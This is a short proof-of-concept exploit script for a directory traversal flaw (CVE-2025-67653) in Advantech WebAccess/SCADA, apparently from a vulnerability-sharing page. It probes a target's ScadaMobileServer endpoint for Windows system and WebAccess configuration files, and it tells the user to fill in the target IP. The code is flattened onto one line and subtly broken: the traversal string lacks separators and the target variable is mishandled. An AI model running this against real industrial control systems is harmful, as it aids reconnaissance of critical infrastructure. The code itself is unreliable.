CVE-2025-67653 Advantech WebAccess/SCADA 目录遍历漏洞

import requests import sys # CVE-2025-67653 PoC - Advantech WebAccess/SCADA Directory Traversal # This PoC demonstrates how an attacker can detect the existence of arbitrary files target_url = "http://target-server/ScadaMobileServer/" # Update target IP def check_file_exists(filepath): """Check if a file exists on the target server using directory traversal""" # Path traversal payload traversal = ".." * 10 + "/" payload = f"{traversal}{filepath}" params = { "file": payload } try: response = requests.get(target_url, params=params, timeout=10) # If file exists, server may respond with 200 or specific content # If file doesn't exist, server may respond with 404 or error if response.status_code == 200: return True elif response.status_code == 404: return False else: # Check response content for hints if "cannot be found" not in response.text.lower(): return True return False except requests.exceptions.RequestException: return None def main(): if len(sys.argv) > 1: target_url = sys.argv[1] # Test file paths to enumerate test_files = [ "C:\\Windows\\win.ini", "C:\\Windows\\System32\\drivers\\etc\\hosts", "C:\\Program Files\\Advantech\\WebAccess\\config.ini", "C:\\ProgramData\\Microsoft\\Windows\\UAC\\file.txt" ] print(f"[*] Testing CVE-2025-67653 on {target_url}") print("-" * 50) for file_path in test_files: result = check_file_exists(file_path) if result: print(f"[+] File EXISTS: {file_path}") elif result is False: print(f"[-] File NOT FOUND: {file_path}") else: print(f"[?] Could not determine: {file_path}") if __name__ == "__main__": main()